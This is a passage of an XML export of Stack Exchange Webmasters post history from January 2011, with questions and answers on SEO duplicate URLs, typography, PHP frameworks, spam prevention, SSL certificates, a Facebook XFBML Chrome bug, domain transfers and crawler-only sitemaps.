of the back links to my homepage being considered as the same now or is the total number of back links being split between the 2 different URL's?&#xD;&#xA;&#xD;&#xA;If you think there are still issues with how we have this set-up, I was wondering if you could give me advice on what we should do differently.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.conservationjobboard.com" />
  <row Id="16283" PostHistoryTypeId="1" PostId="7682" RevisionGUID="1b176ff3-9b6f-459f-91c8-598e2a3ff5a3" CreationDate="2011-01-12T16:48:05.823" UserDisplayName="Rob Goldstein" Text="Am I correctly handling duplicate URLs for my homepage?" />
  <row Id="16284" PostHistoryTypeId="3" PostId="7682" RevisionGUID="1b176ff3-9b6f-459f-91c8-598e2a3ff5a3" CreationDate="2011-01-12T16:48:05.823" UserDisplayName="Rob Goldstein" Text="&lt;seo&gt;&lt;php&gt;&lt;url&gt;" />
  <row Id="16285" PostHistoryTypeId="25" PostId="7671" RevisionGUID="3de4176c-2866-4cc0-bcc7-3f1d211d1630" CreationDate="2011-01-12T16:55:27.137" Comment="http://twitter.com/#!/StackWebmasters/status/25234410395664384" />
  <row Id="16289" PostHistoryTypeId="2" PostId="7684" RevisionGUID="06c70491-125a-4c6e-a3dd-1c988f82a447" CreationDate="2011-01-12T17:42:33.283" UserId="4451" Text="Out of curiosity, what is your angle on this?  Is it so you can showcase the work &quot;YOU&quot; did, before the client made their own additions/changes to the site?" />
  <row Id="16290" PostHistoryTypeId="2" PostId="7685" RevisionGUID="714358eb-49fa-4f28-b89e-4377e41e13b4" CreationDate="2011-01-12T17:53:53.093" UserId="1253" Text="1) Make sure you use a 301 redirect when redirecting from default.php to JobBoard.php. This will tell the search engines your page has moved and to de-index the old page, associate it with the new one, and associate links to the old page with the new one.&#xD;&#xA;&#xD;&#xA;2) Use the [canonical URL][1] `&lt;link&gt;` tag to let Google know that the JobBoard.php page is the main page and other other URLs that load it should be consider duplicates and not indexed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="16291" PostHistoryTypeId="2" PostId="7686" RevisionGUID="7be3cbef-af8f-4b22-8c1b-baae1ed5d62d" CreationDate="2011-01-12T18:26:05.427" UserId="2070" Text="Is it a good practice to capitalise first letter of each word in string ( page titles, headings, fields labels, button text etc.) ?&#xD;&#xA;&#xD;&#xA;Is there any articles about this subject excluding basic English grammar rules?" />
  <row Id="16292" PostHistoryTypeId="1" PostId="7686" RevisionGUID="7be3cbef-af8f-4b22-8c1b-baae1ed5d62d" CreationDate="2011-01-12T18:26:05.427" UserId="2070" Text="Capitalise first letter of each word good or bad practice?" />
  <row Id="16293" PostHistoryTypeId="3" PostId="7686" RevisionGUID="7be3cbef-af8f-4b22-8c1b-baae1ed5d62d" CreationDate="2011-01-12T18:26:05.427" UserId="2070" Text="&lt;html&gt;&lt;tags&gt;&lt;typography&gt;" />
  <row Id="16295" PostHistoryTypeId="2" PostId="7687" RevisionGUID="9a7f275b-fdef-4ff7-b4e8-0bc5924f2616" CreationDate="2011-01-12T18:44:00.090" UserId="4571" Text="My advice would be to use WordPress with a custom post type. It will allow you to create any kind of entry you want with any meta data you need. There are a few plug-ins to help with creating them." />
  <row Id="16296" PostHistoryTypeId="17" PostId="7689" RevisionGUID="ce6a349e-4902-4dc9-bb19-d421fa7eeedd" CreationDate="2011-01-12T18:47:09.373" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/6801/add-to-extra-div-to-the-side-of-the-content/6804#6804" Text="" />
  <row Id="16297" PostHistoryTypeId="2" PostId="7689" RevisionGUID="bf9071c0-4f60-476f-9dc5-ac5dc03cdfe4" CreationDate="2011-01-12T14:21:35.907" UserDisplayName="Rarst" Text="Why not just place your graphics as [background][1] image and center so it aligns with your content?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/css/css_background.asp" />
  <row Id="16298" PostHistoryTypeId="2" PostId="7688" RevisionGUID="cf4883bb-89b6-4c9e-a190-cfe613d0a897" CreationDate="2011-01-12T14:03:39.053" UserDisplayName="Kreker" Text="I've read some post for adding extra divs to the both sides of the main content and act like a sidebars. But I want to add 2 extra div for adding some graphics and the right will be to the right of the actual sidebar. I took a screenshot for explain my self better.&#xD;&#xA;I've added to extra div before the pagewrap and working with css I locate the divs to left and to the right but there is a problem, if some has a resolution smaller then me the divs start moving messing up the loyout. I want that they stay near the content and the sidebar for all the resolution. I've tryed working with css with position and % but with no results.&#xD;&#xA;&#xD;&#xA;Ok so, the cyan rectangle would be the extra divs, and the gray graphics the contents of these. I don't care if the users has smaller resolutions, the graphics can go out the screen, but the &quot;roots&quot; must be fixed to the side of the main content ;)&#xD;&#xA;Hope I explained well.&#xD;&#xA;&#xD;&#xA;This is the screenshot&#xD;&#xA;http://cl.ly/0D2H1s0t3Y0p2A412L35/Schermata-2011-01-11-a-22.22.17.png&#xD;&#xA;Thanks for help" />
  <row Id="16299" PostHistoryTypeId="1" PostId="7688" RevisionGUID="cf4883bb-89b6-4c9e-a190-cfe613d0a897" CreationDate="2011-01-12T14:03:39.053" UserDisplayName="Kreker" Text="Add to extra div to the side of the content" />
  <row Id="16300" PostHistoryTypeId="3" PostId="7688" RevisionGUID="cf4883bb-89b6-4c9e-a190-cfe613d0a897" CreationDate="2011-01-12T14:03:39.053" UserDisplayName="Kreker" Text="&lt;template&gt;" />
  <row Id="16301" PostHistoryTypeId="17" PostId="7688" RevisionGUID="fce5a372-dd59-435d-b08d-366bfc8149d6" CreationDate="2011-01-12T18:47:09.373" UserId="-1" Comment="from http://wordpress.stackexchange.com/questions/6801/add-to-extra-div-to-the-side-of-the-content" Text="" />
  <row Id="16302" PostHistoryTypeId="10" PostId="7688" RevisionGUID="6e772286-bdb2-41ec-ba4f-551012e3de88" CreationDate="2011-01-12T19:02:49.880" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16303" PostHistoryTypeId="2" PostId="7690" RevisionGUID="ef433a6d-83f6-435e-87f6-0ee398b34134" CreationDate="2011-01-12T19:05:25.967" UserId="4424" Text="Which development frame work do you think is better in terms of:&#xD;&#xA;&#xD;&#xA;1. Overall design/ease of use&#xD;&#xA;2. Up-to-date&#xD;&#xA;3. Documentation&#xD;&#xA;4. User-base/Community resource&#xD;&#xA;5. Future development" />
  <row Id="16304" PostHistoryTypeId="1" PostId="7690" RevisionGUID="ef433a6d-83f6-435e-87f6-0ee398b34134" CreationDate="2011-01-12T19:05:25.967" UserId="4424" Text="Symfony or CakePHP" />
  <row Id="16305" PostHistoryTypeId="3" PostId="7690" RevisionGUID="ef433a6d-83f6-435e-87f6-0ee398b34134" CreationDate="2011-01-12T19:05:25.967" UserId="4424" Text="&lt;php&gt;" />
  <row Id="16306" PostHistoryTypeId="2" PostId="7691" RevisionGUID="fff6b0b9-b67a-4413-a752-79433d7e05ca" CreationDate="2011-01-12T19:20:23.783" UserId="2070" Text="I found Symfony Framework much advanced comparing to CakePHP and regarding video tutorials its pleasure to build application using Command Line Interface.&#xD;&#xA;&#xD;&#xA;What I did not liked about CakePHP that half of framework adds compatibility to older versions of PHP which was unnecessary in my case.&#xD;&#xA;&#xD;&#xA;And from points you have described that would be Zend Framework." />
  <row Id="16307" PostHistoryTypeId="10" PostId="7690" RevisionGUID="aa77ab0d-a85d-44be-b458-8bc884b52f8e" CreationDate="2011-01-12T19:31:18.557" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16308" PostHistoryTypeId="2" PostId="7692" RevisionGUID="7f2509f7-4933-4cf0-8da3-ce963e651f56" CreationDate="2011-01-12T19:35:15.353" UserId="4424" Text="I want to prevent spam from overrunning my website, but neither do I want to make the user type in captcha each time they make a post. Any suggestions?&#xD;&#xA;&#xD;&#xA;Context: My website allows anonymous users to make leave comments on the fly. Comments are randomly displayed, so the more spam = higher chance of it being shown. Need to prevent spam but don't want to have each comment require captcha input. " />
  <row Id="16309" PostHistoryTypeId="1" PostId="7692" RevisionGUID="7f2509f7-4933-4cf0-8da3-ce963e651f56" CreationDate="2011-01-12T19:35:15.353" UserId="4424" Text="How to prevent forum spam" />
  <row Id="16310" PostHistoryTypeId="3" PostId="7692" RevisionGUID="7f2509f7-4933-4cf0-8da3-ce963e651f56" CreationDate="2011-01-12T19:35:15.353" UserId="4424" Text="&lt;php&gt;" />
  <row Id="16311" PostHistoryTypeId="6" PostId="7692" RevisionGUID="2ca93ac1-5925-4189-9528-9ab870382123" CreationDate="2011-01-12T19:39:26.697" UserId="1253" Comment="removed &quot;php&quot; tag, added &quot;spam-prevention&quot; tag" Text="&lt;spam-prevention&gt;" />
  <row Id="16312" PostHistoryTypeId="10" PostId="7692" RevisionGUID="9ab0b766-0385-42c2-ad71-c93f325b1a5e" CreationDate="2011-01-12T19:41:57.880" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16313" PostHistoryTypeId="5" PostId="7692" RevisionGUID="0c07a823-b34e-400d-8b16-637f735a1b8e" CreationDate="2011-01-12T19:41:57.990" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make your site anti-bot?](http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I want to prevent spam from overrunning my website, but neither do I want to make the user type in captcha each time they make a post. Any suggestions?&#xD;&#xA;&#xD;&#xA;Context: My website allows anonymous users to make leave comments on the fly. Comments are randomly displayed, so the more spam = higher chance of it being shown. Need to prevent spam but don't want to have each comment require captcha input. " />
  <row Id="16314" PostHistoryTypeId="25" PostId="7690" RevisionGUID="1f94f170-ac12-4124-b969-623f2c7301f9" CreationDate="2011-01-12T19:55:27.607" Comment="http://twitter.com/#!/StackWebmasters/status/25279711403843585" />
  <row Id="16315" PostHistoryTypeId="2" PostId="7693" RevisionGUID="8a778360-8dae-42c1-bdb0-bab6bb1a5c29" CreationDate="2011-01-12T20:16:36.267" UserId="2293" Text="Follow some references (yeah, it is a extensive material to read):&#xD;&#xA;&#xD;&#xA; - http://dev.opera.com/articles/view/11-typography-on-the-web/&#xD;&#xA; - http://www.d.umn.edu/itss/training/online/webdesign/type.html&#xD;&#xA; - http://www.noupe.com/fonts/how-to-use-typography-effectively-in-web-design.html&#xD;&#xA; - http://webstyleguide.com/wsg3/8-typography/5-typographic-emphasis.html&#xD;&#xA; - http://www.christopherlaroche.com/web_sites/ui_stds_db/html-files/web/web_page_layout_typography_yale.htm&#xD;&#xA;&#xD;&#xA;In short, you should avoid capitalise all first letters. For short headings, navigation menu items, buttons, etc you can use drop caps or all caps.&#xD;&#xA;&#xD;&#xA;The point is readability. All caps or drop caps are hard to read. Camel cased cap variation (what you asked) is even harder." />
  <row Id="16316" PostHistoryTypeId="2" PostId="7694" RevisionGUID="d31a4fd6-a460-47a9-a51e-06f948ad9d2b" CreationDate="2011-01-12T20:33:05.420" UserId="2293" Text="My concern is about SEO. Now let me explain the scenario.&#xD;&#xA;&#xD;&#xA;I am making a 3 languages website. The development is alright, but I was targeting local customers with one domain, and international (english version) with another. Eg:&#xD;&#xA;&#xD;&#xA;Local&#xD;&#xA;http://www.minhalojadesapatos.com.br (this is not the real website, just example!)&#xD;&#xA;&#xD;&#xA;Other&#xD;&#xA;http://www.myshoesstore.com.br&#xD;&#xA;&#xD;&#xA;Both domain point to exactly the same hosting and content, but when user comes through local domain, default language is set to portuguese, otherwise, default is english. Language handling on backend uses PHP Sessions and cookies, so with just a click users can change content language.&#xD;&#xA;&#xD;&#xA;How to avoid being SEO-penalised in this context? (yeah, I was hungry when focusing market for choosing two domains but the activity really needs that, it is a travel agency)." />
  <row Id="16317" PostHistoryTypeId="1" PostId="7694" RevisionGUID="d31a4fd6-a460-47a9-a51e-06f948ad9d2b" CreationDate="2011-01-12T20:33:05.420" UserId="2293" Text="Avoid penalties for duplicate (multilanguage) shared hosting" />
  <row Id="16318" PostHistoryTypeId="3" PostId="7694" RevisionGUID="d31a4fd6-a460-47a9-a51e-06f948ad9d2b" CreationDate="2011-01-12T20:33:05.420" UserId="2293" Text="&lt;seo&gt;&lt;domain-names&gt;&lt;duplicate-content&gt;" />
  <row Id="16322" PostHistoryTypeId="2" PostId="7696" RevisionGUID="598f41dd-23c0-4741-b73b-c2c837078ce4" CreationDate="2011-01-12T22:36:52.507" UserId="3707" Text="Actually you will be fine. You won't get penalized for that. It's a different language. Just make sure each site has some  type of different `tld` or `subdomain` or `folder`.&#xD;&#xA;&#xD;&#xA;check out this article for further info. http://www.searchenginejournal.com/multilingual-seo/19903/&#xD;&#xA;&#xD;&#xA;good luck." />
  <row Id="16323" PostHistoryTypeId="2" PostId="7697" RevisionGUID="c6466e68-6bd0-4820-8802-83e9a3cb54df" CreationDate="2011-01-12T22:43:04.763" UserId="4573" Text="Is any one aware of any data or studies from an impartial source that show the impact of EV SSL certificates on customer behavior? I've been unable to find any such studies. If an EV SSL certificate increases sales on a web store front by even a few points, I can see the value. &#xD;&#xA;&#xD;&#xA;Aside from data targeted at EV SSL it may be possible to guess at customer behavior based on user interaction with regular SSL certificates. Are users even aware of SSL security? Does regular SSL have any proven effect on web store front sales?&#xD;&#xA;&#xD;&#xA;Note, that I'm not asking about the necessity of good encryption - I'm asking about a potential customer's *perception* of security &amp; trust. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16324" PostHistoryTypeId="1" PostId="7697" RevisionGUID="c6466e68-6bd0-4820-8802-83e9a3cb54df" CreationDate="2011-01-12T22:43:04.763" UserId="4573" Text="EV SSL Certificates - does anyone care?" />
  <row Id="16325" PostHistoryTypeId="3" PostId="7697" RevisionGUID="c6466e68-6bd0-4820-8802-83e9a3cb54df" CreationDate="2011-01-12T22:43:04.763" UserId="4573" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="16326" PostHistoryTypeId="25" PostId="7694" RevisionGUID="85f8a861-2078-49ab-a62c-419f111dbc4a" CreationDate="2011-01-12T22:55:28.100" Comment="http://twitter.com/#!/StackWebmasters/status/25325012386848768" />
  <row Id="16327" PostHistoryTypeId="2" PostId="7698" RevisionGUID="0251dde1-cbc6-44a7-857e-4fb7e807a3c1" CreationDate="2011-01-12T22:56:16.623" UserId="4574" Text="I try to add simple Like button to my Facebook Canvas app (iframe). The button (and all other XFBML elements) works in Safari, Firefox, Opera, but in Google Chrome. How can I find the problem?&#xD;&#xA;&#xD;&#xA;EDIT1:&#xD;&#xA;&#xD;&#xA;This is ERB-layout in my Rails app&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;        window.fbAsyncInit = function() {&#xD;&#xA;          FB.init({&#xD;&#xA;            appId: '&lt;%= @app_id %&gt;', status: true, cookie: true, xfbml: true&#xD;&#xA;          });&#xD;&#xA;          FB.XFBML.parse();&#xD;&#xA;        };&#xD;&#xA;        (function() {&#xD;&#xA;          var e = document.createElement('script'); e.async = true;&#xD;&#xA;          e.src = document.location.protocol +&#xD;&#xA;            '//connect.facebook.net/en_US/all.js#appId=&lt;%=@app_id%&gt;&amp;amp;amp;xfbml=1';&#xD;&#xA;          document.getElementById('fb-root').appendChild(e);&#xD;&#xA;        }());&#xD;&#xA;        FB.XFBML.parse();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;fb:like&gt;&lt;/fb:like&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;JS error message in Chrome inspector:&#xD;&#xA;&#xD;&#xA;    Uncaught ReferenceError: FB is not defined&#xD;&#xA;      (anonymous function)&#xD;&#xA;    Uncaught TypeError: Cannot call method 'appendChild' of null&#xD;&#xA;      window&#xD;&#xA;      (anonymous function)&#xD;&#xA;&#xD;&#xA;Probably similar to&#xD;&#xA;http://forum.developers.facebook.net/viewtopic.php?id=84684" />
  <row Id="16328" PostHistoryTypeId="1" PostId="7698" RevisionGUID="0251dde1-cbc6-44a7-857e-4fb7e807a3c1" CreationDate="2011-01-12T22:56:16.623" UserId="4574" Text="Why does XFBML work everywhere but in Chrome?" />
  <row Id="16329" PostHistoryTypeId="3" PostId="7698" RevisionGUID="0251dde1-cbc6-44a7-857e-4fb7e807a3c1" CreationDate="2011-01-12T22:56:16.623" UserId="4574" Text="&lt;javascript&gt;&lt;google-chrome&gt;&lt;facebook-application&gt;" />
  <row Id="16330" PostHistoryTypeId="2" PostId="7699" RevisionGUID="32d13206-d724-4ceb-b876-07be0f786b73" CreationDate="2011-01-12T23:00:09.320" UserId="4575" Text="I'm trying to transfer one of my .com addresses between registrars. I'm down as the owner contact (confirmed working) and the losing registrar is down as the tech and admin contact.&#xD;&#xA;&#xD;&#xA;Last week I received an email stating that the domain transfer had been rejected by the losing registrar. I contacted the losing registrar and they denied that. My money from the winning registrar was refunded and I was told to try again. I've initiated the transfer again and received confirmation of pending transfer, I gave the correct EPP code and confirmed the transfer.&#xD;&#xA;&#xD;&#xA;Currently the status on the domain is set as OK, should it not be transfer pending? According to my name.com transfer page if the transfer is not authd in 5 days it will auto transfer anyway. I don't believe this will happen. Name.com have been really helpful but they can't really do much more now. The losing registrar is not being helpful hence me turning here.&#xD;&#xA;&#xD;&#xA;What can I do to make sure the domain transfers? The domain transfer is set to expire on the 17th.&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated." />
  <row Id="16331" PostHistoryTypeId="1" PostId="7699" RevisionGUID="32d13206-d724-4ceb-b876-07be0f786b73" CreationDate="2011-01-12T23:00:09.320" UserId="4575" Text=".com domain transfer failing" />
  <row Id="16332" PostHistoryTypeId="3" PostId="7699" RevisionGUID="32d13206-d724-4ceb-b876-07be0f786b73" CreationDate="2011-01-12T23:00:09.320" UserId="4575" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;registrar&gt;" />
  <row Id="16333" PostHistoryTypeId="2" PostId="7700" RevisionGUID="efb15c55-a32a-46a5-91b2-88c00f334d6a" CreationDate="2011-01-12T23:02:21.850" UserId="3707" Text="&#xD;&#xA;I'm doing exaclty what you are doing. And it works. Try this snippet.&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/en_US/all.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    &#xD;&#xA;      FB.init({appId: '&lt;%= @app_id %&gt;', status: true, cookie: true, xfbml: true});&#xD;&#xA;    &#xD;&#xA;      FB.Event.subscribe('auth.sessionChange', function(response) {&#xD;&#xA;    &#xD;&#xA;        if (response.session) {&#xD;&#xA;    &#xD;&#xA;          // A user has logged in, and a new cookie has been saved&#xD;&#xA;    &#xD;&#xA;        } else {&#xD;&#xA;    &#xD;&#xA;          // The user has logged out, and the cookie has been cleared&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;      });&#xD;&#xA;    &#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16334" PostHistoryTypeId="2" PostId="7701" RevisionGUID="ac2d70d8-f89b-4ef3-a2bc-b3e60cb0217c" CreationDate="2011-01-12T23:13:40.043" UserId="3214" Text="###With post thumbnails don't have the ability to dynamically crop and zoom images.&#xD;&#xA;&#xD;&#xA;Another solution is to use Justin Tadlock's [Get The Image Plugin][1].  The Plugin tries to use `the_post_thumbnail()` wherever possible and gives you full control of sizing cropping and displaying images.  It also allows you to grab images by custom fields.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/get-the-image/" />
  <row Id="16335" PostHistoryTypeId="2" PostId="7702" RevisionGUID="8c25498c-a83a-45b3-93f9-9b747143b1da" CreationDate="2011-01-12T23:13:59.853" UserId="3707" Text="We'll your best best is to contact them once everyday to make sure the transfer goes through. I mean you have 5 days from now. &#xD;&#xA;&#xD;&#xA;Usually when I do transfers it takes maybe max 20 minutes with Godaddy.&#xD;&#xA;&#xD;&#xA;good luck&#xD;&#xA;" />
  <row Id="16343" PostHistoryTypeId="2" PostId="7705" RevisionGUID="7ab5eb7e-59c1-4f2c-8f1b-ad3ef9f3512d" CreationDate="2011-01-13T00:38:08.063" UserId="3171" Text="All the examples of accessing google's CDN use https:// in the URL (including on Google itself) - but this has caused a problem when testing in Safari (certificate problem and also different domain).&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;&#xD;&#xA;I have switched to calling it over http instead, but just wondering if this is a mistake or security issue?" />
  <row Id="16344" PostHistoryTypeId="1" PostId="7705" RevisionGUID="7ab5eb7e-59c1-4f2c-8f1b-ad3ef9f3512d" CreationDate="2011-01-13T00:38:08.063" UserId="3171" Text="Google CDN - using http vs https" />
  <row Id="16345" PostHistoryTypeId="3" PostId="7705" RevisionGUID="7ab5eb7e-59c1-4f2c-8f1b-ad3ef9f3512d" CreationDate="2011-01-13T00:38:08.063" UserId="3171" Text="&lt;google&gt;&lt;javascript&gt;&lt;safari&gt;" />
  <row Id="16346" PostHistoryTypeId="2" PostId="7706" RevisionGUID="50e7f3f3-5d03-4e23-8f7f-447edf19b3c1" CreationDate="2011-01-13T01:09:11.753" UserId="3707" Text="You will see errors and warnings when you are including &quot;unsecure&quot; items on a secure page. This is not a mistake or accident. It is for security reasons.&#xD;&#xA;&#xD;&#xA;You should use the http:// version because it's a safe static file and faster.&#xD;&#xA;&#xD;&#xA;good luck" />
  <row Id="16347" PostHistoryTypeId="5" PostId="7706" RevisionGUID="6771ad5b-0645-40c2-8913-b0681125bc6d" CreationDate="2011-01-13T01:31:45.923" UserId="3707" Comment="added 13 characters in body; edited body" Text="You will see errors and warnings when you are including &quot;unsecure&quot; items on a secure page. (Vice versa) This is not a mistake or accident. It is for security reasons.&#xD;&#xA;&#xD;&#xA;You should use the http:// version because it's a safe static file and faster.&#xD;&#xA;&#xD;&#xA;good luck" />
  <row Id="16348" PostHistoryTypeId="25" PostId="7705" RevisionGUID="a619431e-a3ff-4117-807a-8c4028c514de" CreationDate="2011-01-13T01:55:28.980" Comment="http://twitter.com/#!/StackWebmasters/status/25370314535866368" />
  <row Id="16352" PostHistoryTypeId="2" PostId="7708" RevisionGUID="628859ab-5f4f-4f1b-9119-9fbac7e74948" CreationDate="2011-01-13T02:09:15.543" UserId="4322" Text="You should be fine, however I've heard that using automated translation software can trigger the content as duplicate.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16353" PostHistoryTypeId="17" PostId="7710" RevisionGUID="b40a68de-cae1-4b64-b846-46d15031d633" CreationDate="2011-01-13T02:10:36.637" UserId="-1" Comment="from http://superuser.com/questions/165627/how-can-i-allow-robots-access-to-my-sitemap-but-prevent-casual-users-from-access/165629#165629" Text="" />
  <row Id="16354" PostHistoryTypeId="2" PostId="7710" RevisionGUID="d721b044-3ef0-490d-92c6-2d9ef8ad86fb" CreationDate="2010-07-20T09:42:15.377" UserId="1179" Text="The best approach will most likely involve getting the IP address of the visitor to the page, performing a reverse NS lookup, and checking if the domain name matches the known list of web crawlers. As far as I know, this is pretty much foolproof (discounting DNS spoofing which is unlikely to be a major problem).&#xD;&#xA;&#xD;&#xA;For the Google web crawler, this is described in the blog post [How to verify Googlebot](http://googlewebmastercentral.blogspot.com/2006/09/how-to-verify-googlebot.html).&#xD;&#xA;&#xD;&#xA;Here's a list of the domain name wildcards for the most common spider bots/web crawlers:&#xD;&#xA;&#xD;&#xA; * Google (Googlebot): *.googlebot.com&#xD;&#xA; * Bing (msnbot): (Not resovable, see [IP ranges](http://chceme.info/ips/))&#xD;&#xA; * Yahoo (Yahoo Slurp): *.yahoo.com &#xD;&#xA;&#xD;&#xA;Though I'm not sure how often the IP address ranges for the various main crawlers, there's also [this page](http://chceme.info/ips/) which lists such ranges for the three main search engines.&#xD;&#xA;&#xD;&#xA;(Note: I believe the bots do set the user-agent HTTP header on requests, but this is very easy to fake of course.)&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="16355" PostHistoryTypeId="2" PostId="7709" RevisionGUID="83591b7c-b1a6-4da7-9b16-1e2946dbdcc3" CreationDate="2010-07-20T09:33:33.587" UserDisplayName="morpheous" Text="I am storing my sitemaps in my web folder. I want web crawlers (Googlebot etc) to be able to access the file, but I dont necessarily want all and sundry to have access to it.&#xD;&#xA;&#xD;&#xA;For example, this site (superuser.com), has a site index - as specified by its robots.txt file (http://superuser.com/robots.txt).&#xD;&#xA;&#xD;&#xA;However, when you type http://superuser.com/sitemap.xml, you are directed to a 404 page.&#xD;&#xA;&#xD;&#xA;How can I implement the same thing on my website?&#xD;&#xA;&#xD;&#xA;I am running a LAMP website, also I am using a sitemap index file (so I have multiple site maps for the site). I would like to use the same mechanism to make them unavailable via a browser, as described above." />
  <row Id="16356" PostHistoryTypeId="1" PostId="7709" RevisionGUID="83591b7c-b1a6-4da7-9b16-1e2946dbdcc3" CreationDate="2010-07-20T09:33:33.587" UserDisplayName="morpheous" Text="How can I allow robots access to my sitemap, but prevent casual users from accessing it?" />
  <row Id="16357" PostHistoryTypeId="3" PostId="7709" RevisionGUID="83591b7c-b1a6-4da7-9b16-1e2946dbdcc3" CreationDate="2010-07-20T09:33:33.587" UserDisplayName="morpheous" Text="&lt;security&gt;&lt;apache&gt;&lt;lamp&gt;&lt;sitemap&gt;" />
  <row Id="16358" PostHistoryTypeId="17" PostId="7709" RevisionGUID="7862e825-abd5-42fd-8fbb-94ccccfc4b47" CreationDate="2011-01-13T02:10:36.637" UserId="-1" Comment="from http://superuser.com/questions/165627/how-can-i-allow-robots-access-to-my-sitemap-but-prevent-casual-users-from-access" Text="" />
  <row Id="16363" PostHistoryTypeId="25" PostId="7699" RevisionGUID="e19f8223-ec3d-4d2d-bacb-4a972eeed389" CreationDate="2011-01-13T04:55:28.837" Comment="http://twitter.com/#!/StackWebmasters/status/25415611433615360" />
  <row Id="16364" PostHistoryTypeId="5" PostId="7698" RevisionGUID="a6bbee7b-57e2-4708-acd0-a942e7f26b32" CreationDate="2011-01-13T06:29:39.383" UserId="4574" Comment="added 4 characters in body" Text="I try to add simple Like button to my Facebook Canvas app (iframe). The button (and all other XFBML elements) works in Safari, Firefox, Opera, but in Google Chrome. &#xD;&#xA;&#xD;&#xA;How can I find the problem?&#xD;&#xA;&#xD;&#xA;EDIT1:&#xD;&#xA;&#xD;&#xA;This is ERB-layout in my Rails app&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns:fb='http://www.facebook.com/2008/fbml' xmlns='http://www.w3.org/1999/xhtml'&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;        window.fbAsyncInit = function() {&#xD;&#xA;          FB.init({&#xD;&#xA;            appId: '&lt;%= @app_id %&gt;', status: true, cookie: true, xfbml: true&#xD;&#xA;          });&#xD;&#xA;          FB.XFBML.parse();&#xD;&#xA;        };&#xD;&#xA;        (function() {&#xD;&#xA;          var e = document.createElement('script'); e.async = true;&#xD;&#xA;          e.src = document.location.protocol +&#xD;&#xA;            '//connect.facebook.net/en_US/all.js#appId=&lt;%=@app_id%&gt;&amp;amp;amp;xfbml=1';&#xD;&#xA;          document.getElementById('fb-root').appendChild(e);&#xD;&#xA;        }());&#xD;&#xA;        FB.XFBML.parse();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;fb:like&gt;&lt;/fb:like&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;JS error message in Chrome inspector:&#xD;&#xA;&#xD;&#xA;    Uncaught ReferenceError: FB is not defined&#xD;&#xA;      (anonymous function)&#xD;&#xA;    Uncaught TypeError: Cannot call method 'appendChild' of null&#xD;&#xA;      window&#xD;&#xA;      (anonymous function)&#xD;&#xA;&#xD;&#xA;Probably similar to&#xD;&#xA;http://forum.developers.facebook.net/viewtopic.php?id=84684" />
  <row Id="16365" PostHistoryTypeId="25" PostId="7686" RevisionGUID="3736192a-9328-441a-bd67-b01a8ebd646c" CreationDate="2011-01-13T07:55:29.033" Comment="http://twitter.com/#!/StackWebmasters/status/25460911187693569" />
  <row Id="16366" PostHistoryTypeId="25" PostId="7565" RevisionGUID="d6e35ade-db86-4c66-8301-4ed550c71bca" CreationDate="2011-01-13T10:55:29.137" Comment="http://twitter.com/#!/StackWebmasters/status/25506210216157184" />
